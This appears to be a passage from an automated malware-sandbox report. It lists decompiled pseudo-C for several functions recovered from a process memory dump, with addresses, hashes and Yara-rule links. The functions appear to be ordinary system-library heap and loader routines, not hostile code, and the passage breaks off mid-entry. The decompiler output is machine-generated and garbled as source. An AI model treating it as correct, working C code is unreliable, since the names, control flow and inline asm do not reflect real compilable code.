					while(1) {
						asm("movsd");
						asm("movsd");
						asm("movsd");
						asm("movsd");
						_t67 = _v192;
						 *((intOrPtr*)(_t57 + 0x10)) = _a4;
						 *(_t57 + 0x24) =  *(_t57 + 0x24) & 0x00000000;
						 *(_t57 + 0x14) =  *(_t67 + 0x34) & 0x0000ffff;
						 *((intOrPtr*)(_t57 + 0x20)) = _v196;
						_push( &_v184);
						_push(_t59);
						_push(_t57);
						_push(0xa0);
						_push(_t57);
						_push(0xf);
						_t42 = E04B5B0B0();
						if(_t42 != 0xc0000023) {
							break;
						}
						if(_v177 != 0) {
							L04B377F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t57);
						}
						_v177 = 1;
						_t44 = L04B34620(_t59,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 8, _v184);
						_t59 = _v184;
						_t57 = _t44;
						if(_t57 != 0) {
							continue;
						} else {
							_t42 = 0xc0000017;
							break;
						}
					}
					if(_t42 != 0) {
						_t65 = E04B1CCC0(_t42);
						if(_t65 != 0) {
							L10:
							if(_v177 != 0) {
								if(_t57 != 0) {
									L04B377F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t57);
								}
							}
							_t46 = _t65;
							L12:
							return E04B5B640(_t46, _t57, _v12 ^ _t69, _t64, _t65, _t67);
						}
						L7:
						_t50 = _a4;
						 *((intOrPtr*)(_t67 + 0x30)) =  *((intOrPtr*)(_t57 + 0x18));
						if(_t50 != 3) {
							if(_t50 == 2) {
								goto L8;
							}
							L9:
							if(E04B5F380(_t67 + 0xc, 0x4af5138, 0x10) == 0) {
								 *0x4c060d8 = _t67;
							}
							goto L10;
						}
						L8:
						_t64 = _t57 + 0x28;
						E04B44F49(_t67, _t57 + 0x28);
						goto L9;
					}
					_t65 = 0;
					goto L7;
				}
				if(E04B44E70(0x4c086b0, 0x4b45690, 0, 0) != 0) {
					_t46 = E04B1CCC0(_t56);
					goto L12;
				} else {
					_t59 = 0xa0;
					goto L3;
				}
			}

0x04b44d3b
0x04b44d4d
0x04b44d53
0x04b44d58
0x04b44d65
0x04b44d6c
0x04b44d71
0x04b44d77
0x04b44d7f
0x04b44d8c
0x04b44d8e
0x04b44dad
0x04b44db0
0x04b44db7
0x04b44db8
0x04b44db9
0x04b44dba
0x04b44dbb
0x04b44dc1
0x04b44dc8
0x04b44dcc
0x04b44dd5
0x04b44dde
0x04b44ddf
0x04b44de0
0x04b44de1
0x04b44de6
0x04b44de7
0x04b44de9
0x04b44df3
0x00000000
0x00000000
0x04b86c7c
0x04b86c8a
0x04b86c8a
0x04b86c9d
0x04b86ca7
0x04b86cac
0x04b86cb2
0x04b86cb9
0x00000000
0x04b86cbf
0x04b86cbf
0x00000000
0x04b86cbf
0x04b86cb9
0x04b44dfb
0x04b86ccf
0x04b86cd3
0x04b44e32
0x04b44e39
0x04b86ce0
0x04b86cf2
0x04b86cf2
0x04b86ce0
0x04b44e3f
0x04b44e41
0x04b44e51
0x04b44e51
0x04b44e03
0x04b44e03
0x04b44e09
0x04b44e0f
0x04b44e57
0x00000000
0x00000000
0x04b44e1b
0x04b44e30
0x04b44e5b
0x04b44e5b
0x00000000
0x04b44e30
0x04b44e11
0x04b44e11
0x04b44e16
0x00000000
0x04b44e16
0x04b44e01
0x00000000
0x04b44e01
0x04b44da5
0x04b86c6b
0x00000000
0x04b44dab
0x04b44dab
0x00000000
0x04b44dab

Memory Dump Source

Source File: 00000008.00000002.938444941.0000000004AF0000.00000040.00000001.sdmp, Offset: 04AF0000, based on PE: true

Associated: 00000008.00000002.939284081.0000000004C0B000.00000040.00000001.sdmp Download File
Associated: 00000008.00000002.939331902.0000000004C0F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 86dbbba3a2e4305f07004c6c2a6de1c1504cc6572ffccde974bcfd88fe37b989
Instruction ID: 5dbd5dbc98b032b3f51719961835f6a1cfef827392bbca408a9c8cae9278b083
Opcode Fuzzy Hash: 86dbbba3a2e4305f07004c6c2a6de1c1504cc6572ffccde974bcfd88fe37b989
Instruction Fuzzy Hash: C8412371A80318AFEB35DF14CD80F6AB7A9EB84714F0044E9E9059B280DB70FE90DB91

Uniqueness

Uniqueness Score: -1.00%

Function 04B44BAD, Relevance: .1, Instructions: 131
COMMON

Download Yara Rule

C-Code - Quality: 85%

			E04B44BAD(intOrPtr __ecx, short __edx, signed char _a4, signed short _a8) {
				signed int _v8;
				short _v20;
				intOrPtr _v24;
				intOrPtr _v28;
				intOrPtr _v32;
				char _v36;
				char _v156;
				short _v158;
				intOrPtr _v160;
				char _v164;
				intOrPtr _v168;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t45;
				intOrPtr _t74;
				signed char _t77;
				intOrPtr _t84;
				char* _t85;
				void* _t86;
				intOrPtr _t87;
				signed short _t88;
				signed int _t89;

				_t83 = __edx;
				_v8 =  *0x4c0d360 ^ _t89;
				_t45 = _a8 & 0x0000ffff;
				_v158 = __edx;
				_v168 = __ecx;
				if(_t45 == 0) {
					L22:
					_t86 = 6;
					L12:
					E04B1CC50(_t86);
					L11:
					return E04B5B640(_t86, _t77, _v8 ^ _t89, _t83, _t84, _t86);
				}
				_t77 = _a4;
				if((_t77 & 0x00000001) != 0) {
					goto L22;
				}
				_t8 = _t77 + 0x34; // 0xdce0ba00
				if(_t45 !=  *_t8) {
					goto L22;
				}
				_t9 = _t77 + 0x24; // 0x4c08504
				E04B32280(_t9, _t9);
				_t87 = 0x78;
				 *(_t77 + 0x2c) =  *( *[fs:0x18] + 0x24);
				E04B5FA60( &_v156, 0, _t87);
				_t13 = _t77 + 0x30; // 0x3db8
				_t85 =  &_v156;
				_v36 =  *_t13;
				_v28 = _v168;
				_v32 = 0;
				_v24 = 0;
				_v20 = _v158;
				_v160 = 0;
				while(1) {
					_push( &_v164);
					_push(_t87);
					_push(_t85);
					_push(0x18);
					_push( &_v36);
					_push(0x1e);
					_t88 = E04B5B0B0();
					if(_t88 != 0xc0000023) {
						break;
					}
					if(_t85 !=  &_v156) {
						L04B377F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t85);
					}
					_t84 = L04B34620(0,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 8, _v164);
					_v168 = _v164;
					if(_t84 == 0) {
						_t88 = 0xc0000017;
						goto L19;
					} else {
						_t74 = _v160 + 1;
						_v160 = _t74;
						if(_t74 >= 0x10) {
							L19:
							_t86 = E04B1CCC0(_t88);
							if(_t86 != 0) {
								L8:
								 *(_t77 + 0x2c) =  *(_t77 + 0x2c) & 0x00000000;
								_t30 = _t77 + 0x24; // 0x4c08504
								E04B2FFB0(_t77, _t84, _t30);
								if(_t84 != 0 && _t84 !=  &_v156) {
									L04B377F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t84);
								}
								if(_t86 != 0) {
									goto L12;
								} else {
									goto L11;
								}
							}
							L6:
							 *(_t77 + 0x36) =  *(_t77 + 0x36) | 0x00004000;
							if(_v164 != 0) {
								_t83 = _t84;
								E04B44F49(_t77, _t84);
							}
							goto L8;
						}
						_t87 = _v168;
						continue;
					}
				}
				if(_t88 != 0) {
					goto L19;
				}
				goto L6;
			}

0x04b44bad
0x04b44bbf
0x04b44bc2
0x04b44bc6
0x04b44bcd
0x04b44bd9
0x04b867fe
0x04b86800
0x04b44ccc
0x04b44ccd
0x04b44cb7
0x04b44cc9
0x04b44cc9
0x04b44bdf
0x04b44be5
0x00000000
0x00000000
0x04b44beb
0x04b44bef
0x00000000
0x00000000
0x04b44bf5
0x04b44bf9
0x04b44c06
0x04b44c0b
0x04b44c17
0x04b44c1c
0x04b44c1f
0x04b44c25
0x04b44c33
0x04b44c3d
0x04b44c40
0x04b44c43
0x04b44c47
0x04b44c4d
0x04b44c53
0x04b44c54
0x04b44c55
0x04b44c56
0x04b44c5b
0x04b44c5c
0x04b44c63
0x04b44c6b
0x00000000
0x00000000
0x04b86776
0x04b86784
0x04b86784
0x04b8679f
0x04b867a7
0x04b867af
0x04b867ce
0x00000000
0x04b867b1
0x04b867b7
0x04b867b8
0x04b867c1
0x04b867d3
0x04b867d9
0x04b867dd
0x04b44c94
0x04b44c94
0x04b44c98
0x04b44c9c
0x04b44ca3
0x04b867f4
0x04b867f4
0x04b44cb5
0x00000000
0x00000000
0x00000000
0x00000000
0x04b44cb5
0x04b44c79
0x04b44c7e
0x04b44c89
0x04b44c8b
0x04b44c8f
0x04b44c8f
0x00000000
0x04b44c89
0x04b867c3
0x00000000
0x04b867c3
0x04b867af
0x04b44c73
0x00000000
0x00000000
0x00000000

Memory Dump Source

Source File: 00000008.00000002.938444941.0000000004AF0000.00000040.00000001.sdmp, Offset: 04AF0000, based on PE: true

Associated: 00000008.00000002.939284081.0000000004C0B000.00000040.00000001.sdmp Download File
Associated: 00000008.00000002.939331902.0000000004C0F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 01c49a1381f541e7588dd59ed1a7d0a2434ddfd7c8acc13a53b49e41c2c917d1
Instruction ID: b572fa5e89bb795aa87f0c4042f6f4c5bb9a2b335c3656a974987b0418cac915
Opcode Fuzzy Hash: 01c49a1381f541e7588dd59ed1a7d0a2434ddfd7c8acc13a53b49e41c2c917d1
Instruction Fuzzy Hash: 0141C135A002289BDB20EF64C940BEEB7B4EF45700F0505E9E908AB241DB74FE80CBD1

Uniqueness

Uniqueness Score: -1.00%

Function 04BDAA16, Relevance: .1, Instructions: 120
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E04BDAA16(void* __ecx, intOrPtr __edx, signed int _a4, short _a8) {
				intOrPtr _v8;
				char _v12;
				signed int _v16;
				signed char _v20;
				intOrPtr _v24;
				char* _t37;
				void* _t47;
				signed char _t51;
				void* _t53;
				char _t55;
				intOrPtr _t57;
				signed char _t61;
				intOrPtr _t75;
				void* _t76;
				signed int _t81;
				intOrPtr _t82;

				_t53 = __ecx;
				_t55 = 0;
				_v20 = _v20 & 0;
				_t75 = __edx;
				_t81 = ( *(__ecx + 0xc) | _a4) & 0x93000f0b;
				_v24 = __edx;
				_v12 = 0;
				if((_t81 & 0x01000000) != 0) {
					L5:
					if(_a8 != 0) {
						_t81 = _t81 | 0x00000008;
					}
					_t57 = E04BDABF4(_t55 + _t75, _t81);
					_v8 = _t57;
					if(_t57 < _t75 || _t75 > 0x7fffffff) {
						_t76 = 0;
						_v16 = _v16 & 0;
					} else {
						_t59 = _t53;
						_t76 = E04BDAB54(_t53, _t75, _t57, _t81 & 0x13000003,  &_v16);
						if(_t76 != 0 && (_t81 & 0x30000f08) != 0) {
							_t47 = E04BDAC78(_t53, _t76, _v24, _t59, _v12, _t81, _a8);
							_t61 = _v20;
							if(_t61 != 0) {
								 *(_t47 + 2) =  *(_t47 + 2) ^ ( *(_t47 + 2) ^ _t61) & 0x0000000f;
								if(E04BBCB1E(_t61, _t53, _t76, 2, _t47 + 8) < 0) {
									L04B377F0(_t53, 0, _t76);
									_t76 = 0;
								}
							}
						}
					}
					_t82 = _v8;
					L16:
					if(E04B37D50() == 0) {
						_t37 = 0x7ffe0380;
					} else {
						_t37 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x226;
					}
					if( *_t37 != 0 && ( *( *[fs:0x30] + 0x240) & 0x00000001) != 0) {
						E04BD131B(_t53, _t76, _t82, _v16);
					}
					return _t76;
				}
				_t51 =  *(__ecx + 0x20);
				_v20 = _t51;
				if(_t51 == 0) {
					goto L5;
				}
				_t81 = _t81 | 0x00000008;
				if(E04BBCB1E(_t51, __ecx, 0, 1,  &_v12) >= 0) {
					_t55 = _v12;
					goto L5;
				} else {
					_t82 = 0;
					_t76 = 0;
					_v16 = _v16 & 0;
					goto L16;
				}
			}

0x04bdaa1f
0x04bdaa21
0x04bdaa23
0x04bdaa2b
0x04bdaa30
0x04bdaa36
0x04bdaa39
0x04bdaa42
0x04bdaa75
0x04bdaa7a
0x04bdaa7c
0x04bdaa7c
0x04bdaa88
0x04bdaa8a
0x04bdaa8f
0x04bdab02
0x04bdab04
0x04bdaa99
0x04bdaaa8
0x04bdaaaf
0x04bdaab3
0x04bdaacc
0x04bdaad1
0x04bdaad6
0x04bdaae0
0x04bdaaf3
0x04bdaaf9
0x04bdaafe
0x04bdaafe
0x04bdaaf3
0x04bdaad6
0x04bdaab3
0x04bdab07
0x04bdab0a
0x04bdab11
0x04bdab23
0x04bdab13
0x04bdab1c
0x04bdab1c
0x04bdab2b
0x04bdab44
0x04bdab44
0x04bdab51
0x04bdab51
0x04bdaa44
0x04bdaa47
0x04bdaa4c
0x00000000
0x00000000
0x04bdaa5a
0x04bdaa64
0x04bdaa72
0x00000000
0x04bdaa66
0x04bdaa66
0x04bdaa68
0x04bdaa6a
0x00000000
0x04bdaa6a

Memory Dump Source

Source File: 00000008.00000002.938444941.0000000004AF0000.00000040.00000001.sdmp, Offset: 04AF0000, based on PE: true

Associated: 00000008.00000002.939284081.0000000004C0B000.00000040.00000001.sdmp Download File
Associated: 00000008.00000002.939331902.0000000004C0F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 702fa5d1d049179799b5169bcec1b3622bc185bb93763a62bdaaaa196ea10277
Instruction ID: 81624e17e03fd055ba363d2c73fbfde1f9d80b2c50942eadc7e74861e8e90486
Opcode Fuzzy Hash: 702fa5d1d049179799b5169bcec1b3622bc185bb93763a62bdaaaa196ea10277
Instruction Fuzzy Hash: F631D531B001046BEB158B65C885BBFF7BADF89314F0580E9E805A7251EA74FD42C650

Uniqueness

Uniqueness Score: -1.00%

Function 04B28A0A, Relevance: .1, Instructions: 120
COMMON

Download Yara Rule

C-Code - Quality: 94%

			E04B28A0A(intOrPtr* __ecx, signed int __edx) {
				signed int _v8;
				char _v524;
				signed int _v528;
				void* _v532;
				char _v536;
				char _v540;
				char _v544;
				intOrPtr* _v548;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t44;
				void* _t46;
				void* _t48;
				signed int _t53;
				signed int _t55;
				intOrPtr* _t62;
				void* _t63;
				unsigned int _t75;
				signed int _t79;
				unsigned int _t81;
				unsigned int _t83;
				signed int _t84;
				void* _t87;

				_t76 = __edx;
				_v8 =  *0x4c0d360 ^ _t84;
				_v536 = 0x200;
				_t79 = 0;
				_v548 = __edx;
				_v544 = 0;
				_t62 = __ecx;
				_v540 = 0;
				_v532 =  &_v524;
				if(__edx == 0 || __ecx == 0) {
					L6:
					return E04B5B640(_t79, _t62, _v8 ^ _t84, _t76, _t79, _t81);
				} else {
					_v528 = 0;
					E04B2E9C0(1, __ecx, 0, 0,  &_v528);
					_t44 = _v528;
					_t81 =  *(_t44 + 0x48) & 0x0000ffff;
					_v528 =  *(_t44 + 0x4a) & 0x0000ffff;
					_t46 = 0xa;
					_t87 = _t81 - _t46;
					if(_t87 > 0 || _t87 == 0) {
						 *_v548 = 0x4af1180;
						L5:
						_t79 = 1;
						goto L6;
					} else {
						_t48 = E04B41DB5(_t62,  &_v532,  &_v536);
						_t76 = _v528;
						if(_t48 == 0) {
							L9:
							E04B53C2A(_t81, _t76,  &_v544);
							 *_v548 = _v544;
							goto L5;
						}
						_t62 = _v532;
						if(_t62 != 0) {
							_t83 = (_t81 << 0x10) + (_t76 & 0x0000ffff);
							_t53 =  *_t62;
							_v528 = _t53;
							if(_t53 != 0) {
								_t63 = _t62 + 4;
								_t55 = _v528;
								do {
									if( *((intOrPtr*)(_t63 + 0x10)) == 1) {
										if(E04B28999(_t63,  &_v540) == 0) {
											_t55 = _v528;
										} else {
											_t75 = (( *(_v540 + 0x14) & 0x0000ffff) << 0x10) + ( *(_v540 + 0x16) & 0x0000ffff);
											_t55 = _v528;
											if(_t75 >= _t83) {
												_t83 = _t75;
											}
										}
									}
									_t63 = _t63 + 0x14;
									_t55 = _t55 - 1;
									_v528 = _t55;
								} while (_t55 != 0);
								_t62 = _v532;
							}
							if(_t62 !=  &_v524) {
								L04B377F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), _t79, _t62);
							}
							_t76 = _t83 & 0x0000ffff;
							_t81 = _t83 >> 0x10;
						}
						goto L9;
					}
				}
			}

0x04b28a0a
0x04b28a1c
0x04b28a23
0x04b28a2e
0x04b28a30
0x04b28a36
0x04b28a3c
0x04b28a3e
0x04b28a4a
0x04b28a52
0x04b28a9c
0x04b28aae
0x04b28a58
0x04b28a5e
0x04b28a6a
0x04b28a6f
0x04b28a75
0x04b28a7d
0x04b28a85
0x04b28a86
0x04b28a89
0x04b28a93
0x04b28a99
0x04b28a9b
0x00000000
0x04b28aaf
0x04b28abe
0x04b28ac3
0x04b28acb
0x04b28ad7
0x04b28ae0
0x04b28af1
0x00000000
0x04b28af1
0x04b28acd
0x04b28ad5
0x04b28afb
0x04b28afd
0x04b28aff
0x04b28b07
0x04b28b22
0x04b28b24
0x04b28b2a
0x04b28b2e
0x04b28b3f
0x04b28b78
0x04b28b41
0x04b28b52
0x04b28b54
0x04b28b5c
0x04b28b74
0x04b28b74
0x04b28b5c
0x04b28b3f
0x04b28b5e
0x04b28b61
0x04b28b64
0x04b28b64
0x04b28b6c
0x04b28b6c
0x04b28b11
0x04b79cd5
0x04b79cd5
0x04b28b17
0x04b28b1a
0x04b28b1a
0x00000000
0x04b28ad5
0x04b28a89

Memory Dump Source

Source File: 00000008.00000002.938444941.0000000004AF0000.00000040.00000001.sdmp, Offset: 04AF0000, based on PE: true

Associated: 00000008.00000002.939284081.0000000004C0B000.00000040.00000001.sdmp Download File
Associated: 00000008.00000002.939331902.0000000004C0F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5ec819e65ac25ee25ecd63e10f0697c73747e23ffa17c3e011c648f5b2af429f
Instruction ID: 4f800e4f4cd094a9925b9bb9564e13a2c6f387dd2357dd7ec1c2e0960c572b12
Opcode Fuzzy Hash: 5ec819e65ac25ee25ecd63e10f0697c73747e23ffa17c3e011c648f5b2af429f
Instruction Fuzzy Hash: A2417FB5A0023C9BDB24EF59C988AA9B3F4EF45300F1046EAD91D97251EB75AE81CF50

Uniqueness

Uniqueness Score: -1.00%

Function 04BDFDE2, Relevance: .1, Instructions: 116
COMMON

Download Yara Rule

C-Code - Quality: 76%

			E04BDFDE2(signed int* __ecx, signed int __edx, signed int _a4) {
				char _v8;
				signed int _v12;
				signed int _t29;
				char* _t32;
				char* _t43;
				signed int _t80;
				signed int* _t84;

				_push(__ecx);
				_push(__ecx);
				_t56 = __edx;
				_t84 = __ecx;
				_t80 = E04BDFD4E(__ecx, __edx);
				_v12 = _t80;
				if(_t80 != 0) {
					_t29 =  *__ecx & _t80;
					_t74 = (_t80 - _t29 >> 4 << __ecx[1]) + _t29;
					if(__edx <= (_t80 - _t29 >> 4 << __ecx[1]) + _t29) {
						E04BE0A13(__ecx, _t80, 0, _a4);
						_t80 = 1;
						if(E04B37D50() == 0) {
							_t32 = 0x7ffe0380;
						} else {
							_t32 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x226;
						}
						if( *_t32 != 0 && ( *( *[fs:0x30] + 0x240) & 0x00000001) != 0) {
							_push(3);
							L21:
							E04BD1608( *((intOrPtr*)(_t84 + 0x3c)), _t56);
						}
						goto L22;
					}
					if(( *(_t80 + 0xc) & 0x0000000c) != 8) {
						_t80 = E04BE2B28(__ecx[0xc], _t74, __edx, _a4,  &_v8);
						if(_t80 != 0) {
							_t66 =  *((intOrPtr*)(_t84 + 0x2c));
							_t77 = _v8;
							if(_v8 <=  *((intOrPtr*)( *((intOrPtr*)(_t84 + 0x2c)) + 0x28)) - 8) {
								E04BDC8F7(_t66, _t77, 0);
							}
						}
					} else {
						_t80 = E04BDDBD2(__ecx[0xb], _t74, __edx, _a4);
					}
					if(E04B37D50() == 0) {
						_t43 = 0x7ffe0380;
					} else {
						_t43 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x226;
					}
					if( *_t43 == 0 || ( *( *[fs:0x30] + 0x240) & 0x00000001) == 0 || _t80 == 0) {
						goto L22;
					} else {
						_push((0 | ( *(_v12 + 0xc) & 0x0000000c) != 0x00000008) + 2);
						goto L21;
					}
				} else {
					_push(__ecx);
					_push(_t80);
					E04BDA80D(__ecx[0xf], 9, __edx, _t80);
					L22:
					return _t80;
				}
			}

0x04bdfde7
0x04bdfde8
0x04bdfdec
0x04bdfdee
0x04bdfdf5
0x04bdfdf7
0x04bdfdfc
0x04bdfe19
0x04bdfe22
0x04bdfe26
0x04bdfec6
0x04bdfecd
0x04bdfed5
0x04bdfee7
0x04bdfed7
0x04bdfee0
0x04bdfee0
0x04bdfeef
0x04bdff00
0x04bdff02
0x04bdff07
0x04bdff07
0x00000000
0x04bdfeef
0x04bdfe33
0x04bdfe55
0x04bdfe59
0x04bdfe5b
0x04bdfe5e
0x04bdfe69
0x04bdfe6d
0x04bdfe6d
0x04bdfe69
0x04bdfe35
0x04bdfe41
0x04bdfe41
0x04bdfe79
0x04bdfe8b
0x04bdfe7b
0x04bdfe84
0x04bdfe84
0x04bdfe93
0x00000000
0x04bdfea8
0x04bdfeba
0x00000000
0x04bdfeba
0x04bdfdfe
0x04bdfe01
0x04bdfe02
0x04bdfe08
0x04bdff0c
0x04bdff14
0x04bdff14

Memory Dump Source

Source File: 00000008.00000002.938444941.0000000004AF0000.00000040.00000001.sdmp, Offset: 04AF0000, based on PE: true

Associated: 00000008.00000002.939284081.0000000004C0B000.00000040.00000001.sdmp Download File
Associated: 00000008.00000002.939331902.0000000004C0F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3ef4319804cf21a17d71333ba11752c881d61f5af92be3a911c0d40f229f6d46
Instruction ID: e116707638ea4c8d0b988fd2f9659cd760c39f7d2e543633e98dd6595d4d37d4
Opcode Fuzzy Hash: 3ef4319804cf21a17d71333ba11752c881d61f5af92be3a911c0d40f229f6d46
Instruction Fuzzy Hash: 4E31E532708644AFD7269B68C844F7A7BAAEBC5650F1844E9E8478B781FA75F841C710

Uniqueness

Uniqueness Score: -1.00%

Function 04BDEA55, Relevance: .1, Instructions: 111
COMMON

Download Yara Rule

C-Code - Quality: 70%

			E04BDEA55(intOrPtr* __ecx, char __edx, signed int _a4) {
				signed int _v8;
				char _v12;
				intOrPtr _v15;
				char _v16;
				intOrPtr _v19;
				void* _v28;
				intOrPtr _v36;
				void* __ebx;
				void* __edi;
				signed char _t26;
				signed int _t27;
				char* _t40;
				unsigned int* _t50;
				intOrPtr* _t58;
				unsigned int _t59;
				char _t75;
				signed int _t86;
				intOrPtr _t88;
				intOrPtr* _t91;

				_t75 = __edx;
				_t91 = __ecx;
				_v12 = __edx;
				_t50 = __ecx + 0x30;
				_t86 = _a4 & 0x00000001;
				if(_t86 == 0) {
					E04B32280(_t26, _t50);
					_t75 = _v16;
				}
				_t58 = _t91;
				_t27 = E04BDE815(_t58, _t75);
				_v8 = _t27;
				if(_t27 != 0) {
					E04B1F900(_t91 + 0x34, _t27);
					if(_t86 == 0) {
						E04B2FFB0(_t50, _t86, _t50);
					}
					_push( *((intOrPtr*)(_t91 + 4)));
					_push( *_t91);
					_t59 =  *(_v8 + 0x10);
					_t53 = 1 << (_t59 >> 0x00000002 & 0x0000003f);
					_push(0x8000);
					_t11 = _t53 - 1; // 0x0
					_t12 = _t53 - 1; // 0x0
					_v16 = ((_t59 >> 0x00000001 & 1) + (_t59 >> 0xc) << 0xc) - 1 + (1 << (_t59 >> 0x00000002 & 0x0000003f)) - (_t11 + ((_t59 >> 0x00000001 & 1) + (_t59 >> 0x0000000c) << 0x0000000c) & _t12);
					E04BDAFDE( &_v12,  &_v16);
					asm("lock xadd [eax], ecx");
					asm("lock xadd [eax], ecx");
					E04BDBCD2(_v8,  *_t91,  *((intOrPtr*)(_t91 + 4)));
					_t55 = _v36;
					_t88 = _v36;
					if(E04B37D50() == 0) {
						_t40 = 0x7ffe0388;
					} else {
						_t55 = _v19;
						_t40 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22e;
					}
					if( *_t40 != 0) {
						E04BCFE3F(_t55, _t91, _v15, _t55);
					}
				} else {
					if(_t86 == 0) {
						E04B2FFB0(_t50, _t86, _t50);
						_t75 = _v16;
					}
					_push(_t58);
					_t88 = 0;
					_push(0);
					E04BDA80D(_t91, 8, _t75, 0);
				}
				return _t88;
			}

0x04bdea55
0x04bdea66
0x04bdea68
0x04bdea6c
0x04bdea6f
0x04bdea72
0x04bdea75
0x04bdea7a
0x04bdea7a
0x04bdea7e
0x04bdea80
0x04bdea85
0x04bdea8b
0x04bdeab5
0x04bdeabc
0x04bdeabf
0x04bdeabf
0x04bdeaca
0x04bdeace
0x04bdead0
0x04bdeae4
0x04bdeaeb
0x04bdeaf0
0x04bdeaf5
0x04bdeb09
0x04bdeb0d
0x04bdeb1d
0x04bdeb2d
0x04bdeb38
0x04bdeb3d
0x04bdeb41
0x04bdeb4a
0x04bdeb60
0x04bdeb4c
0x04bdeb52
0x04bdeb59
0x04bdeb59
0x04bdeb68
0x04bdeb71
0x04bdeb71
0x04bdea8d
0x04bdea8f
0x04bdea92
0x04bdea97
0x04bdea97
0x04bdea9b
0x04bdea9c
0x04bdea9e
0x04bdeaa6
0x04bdeaa6
0x04bdeb7e

Memory Dump Source

Source File: 00000008.00000002.938444941.0000000004AF0000.00000040.00000001.sdmp, Offset: 04AF0000, based on PE: true

Associated: 00000008.00000002.939284081.0000000004C0B000.00000040.00000001.sdmp Download File
Associated: 00000008.00000002.939331902.0000000004C0F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f5f831e91637f778ab1786019c0fe1c1c634a5059deceac50859eb6d9a86e6aa
Instruction ID: 978646dc83c0586e74d60084ced53b23c59003d7b6a5b5dc9f6e5cb8607f0243
Opcode Fuzzy Hash: f5f831e91637f778ab1786019c0fe1c1c634a5059deceac50859eb6d9a86e6aa
Instruction Fuzzy Hash: 37319072604B059BD719DF24C880A6BB7AAFFC4354F0449ADF5568B644EF30F805CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 04B969A6, Relevance: .1, Instructions: 108
COMMON

Download Yara Rule

C-Code - Quality: 69%

			E04B969A6(signed short* __ecx, void* __eflags) {
				signed int _v8;
				signed int _v16;
				intOrPtr _v20;
				signed int _v24;
				signed short _v28;
				signed int _v32;
				intOrPtr _v36;
				signed int _v40;
				char* _v44;
				signed int _v48;
				intOrPtr _v52;
				signed int _v56;
				char _v60;
				signed int _v64;
				char _v68;
				char _v72;
				signed short* _v76;
				signed int _v80;
				char _v84;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* _t68;
				intOrPtr _t73;
				signed short* _t74;
				void* _t77;
				void* _t78;
				signed int _t79;
				signed int _t80;

				_v8 =  *0x4c0d360 ^ _t80;
				_t75 = 0x100;
				_v64 = _v64 & 0x00000000;
				_v76 = __ecx;
				_t79 = 0;
				_t68 = 0;
				_v72 = 1;
				_v68 =  *((intOrPtr*)( *[fs:0x18] + 0x20));
				_t77 = 0;
				if(L04B26C59(__ecx[2], 0x100, __eflags) != 0) {
					_t79 =  *((intOrPtr*)( *[fs:0x30] + 0x1e8));
					if(_t79 != 0 && E04B96BA3() != 0) {
						_push(0);
						_push(0);
						_push(0);
						_push(0x1f0003);
						_push( &_v64);
						if(E04B59980() >= 0) {
							E04B32280(_t56, 0x4c08778);
							_t77 = 1;
							_t68 = 1;
							if( *0x4c08774 == 0) {
								asm("cdq");
								 *(_t79 + 0xf70) = _v64;
								 *(_t79 + 0xf74) = 0x100;
								_t75 = 0;
								_t73 = 4;
								_v60 =  &_v68;
								_v52 = _t73;
								_v36 = _t73;
								_t74 = _v76;
								_v44 =  &_v72;
								 *0x4c08774 = 1;
								_v56 = 0;
								_v28 = _t74[2];
								_v48 = 0;
								_v20 = ( *_t74 & 0x0000ffff) + 2;
								_v40 = 0;
								_v32 = 0;
								_v24 = 0;
								_v16 = 0;
								if(E04B1B6F0(0x4afc338, 0x4afc288, 3,  &_v60) == 0) {
									_v80 = _v80 | 0xffffffff;
									_push( &_v84);
									_push(0);
									_push(_v64);
									_v84 = 0xfa0a1f00;
									E04B59520();
								}
							}
						}
					}
				}
				if(_v64 != 0) {
					_push(_v64);
					E04B595D0();
					 *(_t79 + 0xf70) =  *(_t79 + 0xf70) & 0x00000000;
					 *(_t79 + 0xf74) =  *(_t79 + 0xf74) & 0x00000000;
				}
				if(_t77 != 0) {
					E04B2FFB0(_t68, _t77, 0x4c08778);
				}
				_pop(_t78);
				return E04B5B640(_t68, _t68, _v8 ^ _t80, _t75, _t78, _t79);
			}

0x04b969b5
0x04b969be
0x04b969c3
0x04b969c9
0x04b969cc
0x04b969d1
0x04b969d3
0x04b969de
0x04b969e1
0x04b969ea
0x04b969f6
0x04b969fe
0x04b96a13
0x04b96a14
0x04b96a15
0x04b96a16
0x04b96a1e
0x04b96a26
0x04b96a31
0x04b96a36
0x04b96a37
0x04b96a40
0x04b96a49
0x04b96a4a
0x04b96a53
0x04b96a59
0x04b96a5d
0x04b96a5e
0x04b96a64
0x04b96a67
0x04b96a6a
0x04b96a6d
0x04b96a70
0x04b96a77
0x04b96a7d
0x04b96a86
0x04b96a89
0x04b96a9c
0x04b96a9f
0x04b96aa2
0x04b96aa5
0x04b96aaf
0x04b96ab1
0x04b96ab8
0x04b96ab9
0x04b96abb
0x04b96abe
0x04b96ac5
0x04b96ac5
0x04b96aaf
0x04b96a40
0x04b96a26
0x04b969fe
0x04b96ace
0x04b96ad0
0x04b96ad3
0x04b96ad8
0x04b96adf
0x04b96adf
0x04b96ae8
0x04b96aef
0x04b96aef
0x04b96af9
0x04b96b06

Memory Dump Source

